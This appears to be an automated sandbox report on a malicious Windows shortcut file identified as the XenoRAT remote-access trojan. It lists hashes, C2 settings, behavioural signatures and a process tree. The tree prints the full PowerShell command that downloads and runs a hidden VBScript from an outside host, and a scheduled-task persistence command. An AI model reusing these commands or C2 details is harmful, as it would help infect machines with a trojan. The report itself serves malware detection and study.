Overview

overview

10

Static

static

1

a43b59c549...9f.lnk

windows7-x64

10

a43b59c549...9f.lnk

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 03:23

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General

  • Target

    a43b59c54921c6b5cc272e0af9917b5973231de9b6d183be381c1820416ce49f.lnk

  • Size

    2KB

  • MD5

    e03e7eeb288c1f96bb336fe0bfa4cb95

  • SHA1

    e2a53c23480aad659723ee5c8542105955787ac1

  • SHA256

    a43b59c54921c6b5cc272e0af9917b5973231de9b6d183be381c1820416ce49f

  • SHA512

    c142377b9ad169f06e62836c4152b916bfff5b4d64487005fcca5dc2d213a9aeaa5a8d6d2fcfbbbbc13b6016aaf9c4ff0b108cff3af98d28cc85d1502478ce2a

Score
10/10
xenoratdiscoveryexecutionmacromacro_on_actionrattrojan

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Extracted

Family

xenorat

C2

dns.stipamana.com

Mutex

Xeno_rat_nd8912d

Attributes
  • delay

    12000

  • install_path

    appdata

  • port

    4567

  • startup_name

    mrec

Signatures

  • Detect XenoRat Payload 1 IoCs
  • XenorRat

    XenorRat is a remote access trojan written in C#.

    trojanratxenorat
  • Xenorat family
    xenorat
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file
  • Office macro that triggers on suspicious action 1 IoCs

    Office document macro which triggers in special circumstances - often malicious.

    macromacro_on_action
  • Suspicious Office macro 1 IoCs

    Office document equipped with macros.

    macro
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\a43b59c54921c6b5cc272e0af9917b5973231de9b6d183be381c1820416ce49f.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass zhdfboopntjfmdjtgfdjqbinrdfgfdho -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4136
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"
        3⤵
        • Blocklisted process makes network request
        PID:3460
  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4372
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1604
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        3⤵
        • Executes dropped EXE
        PID:3684
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3684 -s 80
          4⤵
          • Program crash
          PID:2424
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4936
        • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
          "C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2016
          • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4200
          • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1212
          • C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2936
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2560
        • C:\Windows\SysWOW64\schtasks.exe
          "schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmp606.tmp" /F
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:3188
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3684 -ip 3684
    1⤵
      PID:3076

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\KKSTV.exe.log
      Filesize

      706B

      MD5

      d95c58e609838928f0f49837cab7dfd2

      SHA1

      55e7139a1e3899195b92ed8771d1ca2c7d53c916

      SHA256

      0407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339

      SHA512

      405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\TCD7A0.tmp\iso690.xsl
      Filesize

      263KB

      MD5

      ff0e07eff1333cdf9fc2523d323dd654

      SHA1

      77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

      SHA256

      3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

      SHA512

      b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2xubd2jv.g5f.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs
      Filesize

      10KB

      MD5

      087bcef76143b81090deef4ee4679995

      SHA1

      6ebd4fd212d0583157ae03bb0eb5841c53e281fc

      SHA256

      87334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00

      SHA512

      b2f93705760d4d1cf5fe0ac354100916d16b6c4fd62117254238a600aabe6257fc791f1ce498bd2d0cfdd47e19f304dc5a68a06b7958658f34859afaa582ed4d

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\tmp606.tmp
      Filesize

      1KB

      MD5

      276d8f1b7e05feed45e456295f52e4da

      SHA1

      902d0fcb164b5ad255185b04558618b51b824cf8

      SHA256

      06483d2faa061e06693dba1bb7f645fee992f94ffb713e6ebf30ae50ab288b5c

      SHA512

      893ec4b4358250389b6c7764145ef0aca8de5429ba983534d2205796296f747fcb20567ec99a6b9ccaef3903d795986b32572a7e6e5d9cb3e08b876c0f01db95

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\¸¸.doc
      Filesize

      195KB

      MD5

      13326ed69d36aaa385c5eba9fa6e5cc2

      SHA1

      66946fa69204b91787c7eabb91c1fd8452b1cc24

      SHA256

      3106e90067456404a9f3e768ce3b60de6ae91fa2be664255ad6fe86c3f87e67d

      SHA512

      39e5df1db48b1afe1c2bf7f2b8ccfca38b0fd4c49dd04884299fcc8adc633e6171a8756bf9eca65ac37b59ce6ef4a3fb3c761848a94c04d9afe725a53d008edd

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe
      Filesize

      173KB

      MD5

      94a7e3859c2e4238421cdfe73d49603c

      SHA1

      03f03c5b5d8cf362aa52b9e793e7be398d779c21

      SHA256

      639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91

      SHA512

      74048463606f7017bd8bd3c92773edde5a406247c5ea437b8ee580a3d9e65eb755aa44de466fc2aabef8b9a67c40163afeb3df9bc9fb35f8afe20814d5de85b5

      Download Submit

    • memory/1604-102-0x0000000004AF0000-0x0000000004AF6000-memory.dmp

      Filesize

      24KB

      Download

    • memory/1604-100-0x0000000007590000-0x0000000007B34000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/1604-99-0x0000000006F40000-0x0000000006FDC000-memory.dmp

      Filesize

      624KB

      Download

    • memory/1604-98-0x00000000022F0000-0x0000000002324000-memory.dmp

      Filesize

      208KB

      Download

    • memory/1604-97-0x0000000002570000-0x0000000002576000-memory.dmp

      Filesize

      24KB

      Download

    • memory/1604-96-0x0000000000070000-0x00000000000A0000-memory.dmp

      Filesize

      192KB

      Download

    • memory/1604-101-0x0000000006FE0000-0x0000000007072000-memory.dmp

      Filesize

      584KB

      Download

    • memory/4136-21-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4136-2-0x00007FF95A713000-0x00007FF95A715000-memory.dmp

      Filesize

      8KB

      Download

    • memory/4136-14-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4136-13-0x00007FF95A710000-0x00007FF95B1D1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4136-12-0x00000246D44C0000-0x00000246D44E2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4372-29-0x00007FF9362D0000-0x00007FF9362E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4372-28-0x00007FF9362D0000-0x00007FF9362E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4372-26-0x00007FF938A90000-0x00007FF938AA0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4372-27-0x00007FF938A90000-0x00007FF938AA0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4372-23-0x00007FF938A90000-0x00007FF938AA0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4372-25-0x00007FF938A90000-0x00007FF938AA0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4372-24-0x00007FF938A90000-0x00007FF938AA0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4936-105-0x0000000000400000-0x0000000000412000-memory.dmp

      Filesize

      72KB

      Download